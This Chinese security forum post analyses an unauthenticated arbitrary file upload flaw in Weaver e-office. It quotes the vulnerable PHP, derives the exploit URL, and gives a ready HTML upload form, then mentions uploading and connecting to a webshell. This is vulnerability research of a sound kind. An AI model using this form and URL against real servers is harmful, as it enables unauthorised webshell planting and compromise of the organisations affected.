安全矩阵

 找回密码
 立即注册
搜索
查看: 2385|回复: 0

某office前台任意文件上传漏洞分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-15 16:27:08 | 显示全部楼层 |阅读模式
原文链接:某office前台任意文件上传漏洞分析

X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本
也有很多。在这里根据系统代码结合POC来分析一下这个漏洞点。
定位漏洞点根据poc中的上传路径可以知道,漏洞点存在于/general/index/UploadFile.php文件。产生漏洞的代码是下边这一串。
  1. else if ( $uploadType == "eoffice_logo" )
  2. {
  3.                 $targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";
  4.                 if ( !file_exists( $targetPath ) )
  5.                 {
  6.                                 mkdir( $targetPath, 511, true );
  7.                 }
  8.                 $ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] );
  9.                 $_targetFile = "logo-eoffice".$ext;
  10.                 $targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;
  11.                 if ( move_uploaded_file( $tempFile, $targetFile ) )
  12.                 {
  13.                                 $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
  14.                                 $result = exequery( $connection, $query );
  15.                                 $row = mysql_fetch_array( $result );
  16.                                 $param1 = $param2 = false;
  17.                                 if ( !$row )
  18.                                 {
  19.                                         $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
  20.                                         $param1 = exequery( $connection, $query );
  21.                                 }
  22.                                 else
  23.                                 {
  24.                                         $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE                                                                             PARA_NAME='SYS_LOGO'";
  25.                                         $param1 = exequery( $connection, $query );
  26.                                 }
  27.                                 $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
  28.                                 $result = exequery( $connection, $query );
  29.                                 $row = mysql_fetch_array( $result );
  30.                                 if ( !$row )
  31.                                 {
  32.                                         $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
  33.                                         $param2 = exequery( $connection, $query );
  34.                                 }
  35.                                 else
  36.                                 {
  37.                                         $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
  38.                                         $param2 = exequery( $connection, $query );
  39.                                 }
  40.                                 if ( $param1 && $param2 )
  41.                                 {
  42.                                         echo $_targetFile;
  43.                                 }
  44.                                 else
  45.                                 {
  46.                                         echo 0;
  47.                                 }
  48.                 }
  49.                 else
  50.                 {
  51.                                 echo 0;
  52.                 }
  53.                         }
  54.                                 }
  55.                                         }
复制代码


在看到UploadFile.php中的内容的时候,发现了很多处类似上面产生漏洞点的代码



但是为什么只有 $uploadType == "eoffice_logo" 这里可以进行任意文件上传呢。

上面三处都使用下边的语句对上传的文件进行了白名单过滤
  1. if ( !in_array( strtolower( $ext ), array( ".jpg", ".jpeg", ".png", ".gif" ) ) )
复制代码


只有 $uploadType == "eoffice_logo" 这里没有进行白名单过滤,具体是因为什么我还没有深究。
漏洞点代码分析定位到产生漏洞的代码以后,开始对这段代码进行分析。
定义上传后的文件名和上传路径:
  1. //targetPath 为网站  根目录/images/logo/
  2. $targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";

  3. //targetPath 如果不存在的话,就会新建目录
  4. if ( !file_exists( $targetPath ) )
  5. {
  6.                 mkdir( $targetPath, 511, true );
  7. }
  8. //获取上传文件后缀名,并使用写好的的logo-eoffice与上传文件后缀拼接形成新的文件名,最后进行目录拼接
  9. $ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] );
  10. $_targetFile = "logo-eoffice".$ext;
  11. $targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;
复制代码



现在的targetFile为 根目录/images/logo/logo-eoffice.上传文件的后缀
接下来会进行文件上传的操作

  1. {
  2.                 $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
  3.                 $result = exequery( $connection, $query );
  4.                 $row = mysql_fetch_array( $result );
  5.                 $param1 = $param2 = false;
  6.                 if ( !$row )
  7.                 {
  8.                                 $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
  9.                                 $param1 = exequery( $connection, $query );
  10.                                                 }
  11.                     else
  12.                     {
  13.                                 $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
  14.                                 $param1 = exequery( $connection, $query );
  15.                     }
  16.                     $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
  17.                     $result = exequery( $connection, $query );
  18.                     $row = mysql_fetch_array( $result );
  19.                     if ( !$row )
  20.                     {
  21.                             $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
  22.                             $param2 = exequery( $connection, $query );
  23.                     }
  24.                                                                                 else
  25.                                                                                 {
  26.                                                                                                 $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
  27.                                     $param2 = exequery( $connection, $query );
  28.                 }
  29.                 if ( $param1 && $param2 )
  30.                 {
  31.                                 echo $_targetFile;
  32.                 }
  33.                     else
  34.                     {
  35.                             echo 0;
  36.                     }
  37.         }
  38.         else
  39.         {
  40.                         echo 0;
  41.         }
  42.                 }
  43.                             }
  44.                                     }
复制代码



这一大串代码的意思是,上传后会向数据库中进行查询信息
  1. SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'
复制代码


​​
如果查不到的话就向数据库中插入数据,如果查询时返回不为空,那么就会将数据进行更新
  1. INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')

  2. UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'
复制代码


经过这轮操作,数据库SYS_LOGO中已经被插入了数据或者数据已经被更新了,更新后在进行查询操作,并取一行数据作为关联数组。经过这两轮关联,row的值已经不为空了,也就会看到打印出的_targetFile
  1. if ( $param1 && $param2 )
  2. {
  3. echo $_targetFile;  //$_targetFile = "logo-eoffice".$ext;
  4. }
复制代码


到这里似乎没有什么阻碍或者难配置的地方。
分析上传方式准备构造上传。
  1. $upload = ( );

  2. $method = $_GET['m'];

  3. $upload->$method( $connection );
复制代码


使用get方法传入一个m,然后$upload这个类调用$method方法。这里要想上传文件,也就用到了uploadPicture这个方法。

那么 m=uploadPicture
要想利用eoffice_logo这个点,还需要传入$uploadType,并且令$uploadType == "eoffice_logo"

那么最终的漏洞利用的url也就有了
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo
构造上传表单根据代码构造上传表单
  1. <html>
  2. <title>泛微e-office文件上传</title>
  3. <head></head>
  4. <body>
  5. <form action="http://ip:port/general/index/UploadFile.php?
  6. m=uploadPicture&uploadType=eoffice_logo" method="post" enctype="multipart/form-data">
  7. <input type="file" name="Filedata">
  8. <input type="submit" value="Upload">
  9. </body>
  10. </html>
复制代码


注意一下这里别写错了
<input type="file" name="Filedata">
本地攻击测试上传时抓包,改包


传马连接




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:18 , Processed in 0.017126 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表